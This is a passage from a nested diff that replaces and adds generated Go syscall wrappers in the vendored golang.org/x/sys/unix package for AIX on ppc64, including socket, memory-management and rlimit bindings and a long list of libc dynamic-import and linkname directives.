--func Revoke(path string) (err error) {
-+func Truncate(path string, length int64) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, e1 := calltruncate(uintptr(unsafe.Pointer(_p0)), length)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1027,13 +1068,8 @@ func Revoke(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Rmdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, e1 := callbind(s, uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1042,9 +1078,8 @@ func Rmdir(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0)
-- newoffset = int64(r0)
-+func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, e1 := callconnect(s, uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1053,8 +1088,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func getgroups(n int, list *_Gid_t) (nn int, err error) {
-+ r0, e1 := callgetgroups(n, uintptr(unsafe.Pointer(list)))
-+ nn = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1063,8 +1099,8 @@ func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setegid(egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+func setgroups(n int, list *_Gid_t) (err error) {
-+ _, e1 := callsetgroups(n, uintptr(unsafe.Pointer(list)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1073,8 +1109,8 @@ func Setegid(egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-+ _, e1 := callgetsockopt(s, level, name, uintptr(val), uintptr(unsafe.Pointer(vallen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1083,8 +1119,8 @@ func Seteuid(euid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-+ _, e1 := callsetsockopt(s, level, name, uintptr(val), vallen)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1093,8 +1129,9 @@ func Setgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+func socket(domain int, typ int, proto int) (fd int, err error) {
-+ r0, e1 := callsocket(domain, typ, proto)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1103,8 +1140,8 @@ func Setpgid(pid int, pgid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-+ _, e1 := callsocketpair(domain, typ, proto, uintptr(unsafe.Pointer(fd)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1113,8 +1150,8 @@ func Setpriority(which int, who int, prio int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, e1 := callgetpeername(fd, uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1123,8 +1160,8 @@ func Setregid(rgid int, egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, e1 := callgetsockname(fd, uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1133,8 +1170,13 @@ func Setreuid(ruid int, euid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ r0, e1 := callrecvfrom(fd, uintptr(unsafe.Pointer(_p0)), len(p), flags, uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1143,9 +1185,12 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-+func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ _, e1 := callsendto(s, uintptr(unsafe.Pointer(_p0)), len(buf), flags, uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1154,8 +1199,9 @@ func Setsid() (pid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, e1 := callnrecvmsg(s, uintptr(unsafe.Pointer(msg)), flags)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1164,8 +1210,9 @@ func Settimeofday(tp *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-+func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, e1 := callnsendmsg(s, uintptr(unsafe.Pointer(msg)), flags)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1174,13 +1221,8 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func munmap(addr uintptr, length uintptr) (err error) {
-+ _, e1 := callmunmap(addr, length)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,18 +1231,12 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Symlink(path string, link string) (err error) {
-+func Madvise(b []byte, advice int) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(link)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, e1 := callmadvise(uintptr(unsafe.Pointer(_p0)), len(b), advice)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1209,8 +1245,12 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+func Mprotect(b []byte, prot int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ _, e1 := callmprotect(uintptr(unsafe.Pointer(_p0)), len(b), prot)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1219,13 +1259,12 @@ func Sync() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Truncate(path string, length int64) (err error) {
-+func Mlock(b []byte) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length))
-+ _, e1 := callmlock(uintptr(unsafe.Pointer(_p0)), len(b))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1234,21 +1273,22 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-- oldmask = int(r0)
-+func Mlockall(flags int) (err error) {
-+ _, e1 := callmlockall(flags)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unlink(path string) (err error) {
-+func Msync(b []byte, flags int) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, e1 := callmsync(uintptr(unsafe.Pointer(_p0)), len(b), flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1257,13 +1297,12 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(path string, flags int) (err error) {
-+func Munlock(b []byte) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, e1 := callmunlock(uintptr(unsafe.Pointer(_p0)), len(b))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1272,15 +1311,8 @@ func Unmount(path string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-+func Munlockall() (err error) {
-+ _, e1 := callmunlockall()
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1289,9 +1321,8 @@ func write(fd int, p []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0)
-- ret = uintptr(r0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, e1 := callpipe(uintptr(unsafe.Pointer(p)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1300,8 +1331,9 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, e1 := callpoll(uintptr(unsafe.Pointer(fds)), nfds, timeout)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1310,9 +1342,8 @@ func munmap(addr uintptr, length uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-- n = int(r0)
-+func gettimeofday(tv *Timeval, tzp *Timezone) (err error) {
-+ _, e1 := callgettimeofday(uintptr(unsafe.Pointer(tv)), uintptr(unsafe.Pointer(tzp)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1321,9 +1352,9 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-- n = int(r0)
-+func Time(t *Time_t) (tt Time_t, err error) {
-+ r0, e1 := calltime(uintptr(unsafe.Pointer(t)))
-+ tt = Time_t(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1332,13 +1363,78 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-+func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-+ _, e1 := callutime(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getsystemcfg(label int) (n uint64) {
-+ r0, _ := callgetsystemcfg(label)
-+ n = uint64(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func umount(target string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(target)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callumount(uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, e1 := callgetrlimit(resource, uintptr(unsafe.Pointer(rlim)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, e1 := callsetrlimit(resource, uintptr(unsafe.Pointer(rlim)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, e1 := calllseek(fd, offset, whence)
-+ off = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-+ r0, e1 := callmmap64(addr, length, prot, flags, fd, offset)
-+ xaddr = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go
-new file mode 100644
-index 00000000..4b3a8ad7
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go
-@@ -0,0 +1,1192 @@
-+// go run mksyscall_aix_ppc64.go -aix -tags aix,ppc64 syscall_aix.go syscall_aix_ppc64.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build aix,ppc64
-+// +build !gccgo
-+
-+package unix
-+
-+import (
-+ "unsafe"
-+)
-+
-+//go:cgo_import_dynamic libc_utimes utimes "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_utimensat utimensat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getcwd getcwd "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_accept accept "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getdirent getdirent "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_wait4 wait4 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_ioctl ioctl "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fcntl fcntl "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_acct acct "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_chdir chdir "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_chroot chroot "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_close close "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_dup dup "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_exit exit "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_faccessat faccessat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchdir fchdir "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchmod fchmod "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchownat fchownat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fdatasync fdatasync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fsync fsync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpgid getpgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpid getpid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getppid getppid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpriority getpriority "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getrusage getrusage "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsid getsid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_kill kill "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_syslog syslog "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mkdir mkdir "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mknod mknod "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mknodat mknodat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_nanosleep nanosleep "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_open64 open64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_openat openat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_read read "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_readlink readlink "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_renameat renameat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setdomainname setdomainname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_sethostname sethostname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setpgid setpgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setsid setsid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setuid setuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setgid setgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setpriority setpriority "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_statx statx "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_sync sync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_times times "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_umask umask "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_uname uname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_unlink unlink "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_ustat ustat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_write write "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_dup2 dup2 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_posix_fadvise64 posix_fadvise64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchown fchown "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fstat fstat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fstatat fstatat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fstatfs fstatfs "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getegid getegid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_geteuid geteuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getgid getgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getuid getuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_lchown lchown "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_listen listen "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_lstat lstat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pause pause "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pread64 pread64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pwrite64 pwrite64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_select select "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pselect pselect "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setregid setregid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setreuid setreuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_shutdown shutdown "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_splice splice "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_stat stat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_statfs statfs "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_truncate truncate "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_bind bind "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_connect connect "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getgroups getgroups "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setgroups setgroups "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_socket socket "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_socketpair socketpair "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpeername getpeername "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsockname getsockname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_sendto sendto "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_nrecvmsg nrecvmsg "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_nsendmsg nsendmsg "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_munmap munmap "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_madvise madvise "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mprotect mprotect "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mlock mlock "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mlockall mlockall "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_msync msync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_munlock munlock "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_munlockall munlockall "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pipe pipe "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_poll poll "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_time time "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_utime utime "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsystemcfg getsystemcfg "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_umount umount "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_lseek lseek "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mmap64 mmap64 "libc.a/shr_64.o"
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:linkname libc_utimensat libc_utimensat
-+//go:linkname libc_getcwd libc_getcwd
-+//go:linkname libc_accept libc_accept
-+//go:linkname libc_getdirent libc_getdirent
-+//go:linkname libc_wait4 libc_wait4
-+//go:linkname libc_ioctl libc_ioctl
-+//go:linkname libc_fcntl libc_fcntl
-+//go:linkname libc_acct libc_acct
-+//go:linkname libc_chdir libc_chdir
-+//go:linkname libc_chroot libc_chroot
-+//go:linkname libc_close libc_close
-+//go:linkname libc_dup libc_dup
-+//go:linkname libc_exit libc_exit
-+//go:linkname libc_faccessat libc_faccessat
-+//go:linkname libc_fchdir libc_fchdir
-+//go:linkname libc_fchmod libc_fchmod
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:linkname libc_fchownat libc_fchownat
-+//go:linkname libc_fdatasync libc_fdatasync
-+//go:linkname libc_fsync libc_fsync
-+//go:linkname libc_getpgid libc_getpgid
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:linkname libc_getpid libc_getpid
-+//go:linkname libc_getppid libc_getppid
-+//go:linkname libc_getpriority libc_getpriority
-+//go:linkname libc_getrusage libc_getrusage
-+//go:linkname libc_getsid libc_getsid
-+//go:linkname libc_kill libc_kill
-+//go:linkname libc_syslog libc_syslog
-+//go:linkname libc_mkdir libc_mkdir
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:linkname libc_mknod libc_mknod
-+//go:linkname libc_mknodat libc_mknodat
-+//go:linkname libc_nanosleep libc_nanosleep
-+//go:linkname libc_open64 libc_open64
-+//go:linkname libc_openat libc_openat
-+//go:linkname libc_read libc_read
-+//go:linkname libc_readlink libc_readlink
